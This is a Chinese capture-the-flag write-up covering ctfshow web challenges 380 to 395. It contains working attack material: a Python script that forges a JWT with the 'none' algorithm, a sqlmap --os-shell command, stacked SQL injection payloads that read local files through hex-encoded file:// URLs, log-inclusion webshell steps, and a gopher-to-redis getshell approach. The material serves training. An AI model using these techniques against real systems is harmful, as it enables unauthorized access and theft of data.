CTFSHOW-黑盒测试
最后更新时间:
web380 黑盒测试
字典里扩充了一下hhh,一开始扫不出来
存在page.php,访问查看
可以看到有一个未定义的变量id,尝试直接读flag
web381
在源码中link标签处css引用存在另一后台的url
直接访问
web382
这次我们继续访问可疑地址,变成了一个登录框
万能密码就登录进去了
web383
同理
web384 密码前2位是小写字母,后三位是数字
这关没有sql注入漏洞了,但提示应该是存在弱口令,直接按规则爆破
有点难,最后密码是xy123
web385
这关其实也算是目录扫描吧,扫出install安装目录,其可以重置默认密码
web386
再次访问install,会发现存在lock.dat
FUZZ一下php文件名,多了一个clear.php
访问clear.php/?file=./install/lock.dat
即可清理掉lock.dat
之后再去访问/install?install
即可重置密码,然后重新弱密码登录即可
web386. 前面部分和386一样
这题已经没法去删掉lock.dat文件了,再扫扫目录
先看看robots.txt,可以去访问debug目录,拼接参数试试
发现可以读出/etc/passwd,因此可以判断,这个目录下文件提供一个文件包含的操作。由于该站点的中间件为nginx,所以尝试日志包含。/var/log/nginx/access.log
,确实可以,那么尝试写马
直接写马失败,按照上题思路,我们可以手动删除lock.dat文件,尝试写入
1 |
|
之后按照上题来就行
web387
按照上一题的思路来,会发现已经无回显
这次我们基于/alsckdfy
目录去扫一下存在什么文件
有个编辑器看看能否利用,访问可知是一个KindEditor编辑器,找找版本 4.1.11
也就是说,我们这里可以上传txt,html一类文件,且上传后的文件路径可知/alsckdfy/attached/file/
. 这里的话我们可以配合之前的日志包含,将一段php恶意代码通过日志文件来执行
首先,上传恶意代码
1 |
|
访问该文件验证上传成功
接下来访问/debug?file=xxx
,来将恶意代码写入日志文件
1 |
|
然后包含日志文件进来,使得恶意代码被解析执行
1 |
|
web389
直接访问
/debug
,会回显权限不足看看cookie,存在auth键值对
1
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODYwNzU4NywiZXhwIjoxNjY4NjE0Nzg3LCJuYmYiOjE2Njg2MDc1ODcsInN1YiI6InVzZXIiLCJqdGkiOiI3MTI0N2E3ZDMxOWE1MmMzZjM3YmE3OTA5MGM1N2FkZCJ9.jxCUL0trBNZNdp_fXROsID50HaOnAs37mEbBWuUhnJk
很明显是一个jwt鉴权,我们解码一下看看字段
尝试直接进行空加密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import jwt
payload = {
"iss": "admin",
"iat": 1668607587,
"exp": 1668614787,
"nbf": 1668607587,
"sub": "admin",
"jti": "71247a7d319a52c3f37ba79090c57add"
}
header = {
"alg": "none",
"typ": "JWT"
}
token = jwt.encode(payload, key="", algorithm="none", headers=header)
print(token)接下来按照上一题流程即可
web390
关注url出现了参数
关注回显长度的变化,正常参数时
当加入特殊字符时
由此可知存在盲注,直接sqlmap一把梭
1
sqlmap -u xxx --os-shell
web391-392
测一下
/search.php?id=
会发现也存在sql注入
web393
title处的参数仍然存在时间回显不一致的问题(比较隐蔽),可以利用盲注。同时关注到底下多了一个搜索引擎
关注一下url
这里讲述另外一种利用方式,先基本查一下库中数据
1 |
|
因此结合回显,我们可以修改id对应的url值,利用file协议将本地文件回显出来
payload:
1 |
|
web394 FLAG_NOT_HERE
title字段仍然存在时间回显问题,所以可以继续时间盲注。我们依然可以用上一题的思路通过修改Url的值来回显flag,需要注意的是,这次参数存在关键词过滤,因此需要通过编码绕过
1
'; update link set url=0x66696c653a2f2f2f666c6167; %23
发现flag不在根目录了,那就还在
/var/www/html/alsckdfy/check.php
中1
'; update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870; %23
原来在源代码里,差点被骗了。。。
web395 FLAG_NOT_HERE
这里学习一种新的思路,注入位置未变,我们可以利用未授权的redis进行getshell
也就是说,这里利用的是修改url的值为gopher协议,去打redis
我们首先要解决的问题是url字段长度问题,由前面几题知道该字段结构为
varchar(255)
,因此先修改字段类型为text
1
'; alter table link modify column url text; %23
接着生成gopher的payload
1 |
|
然后将其插入到link表的insert字段当中
1 |
|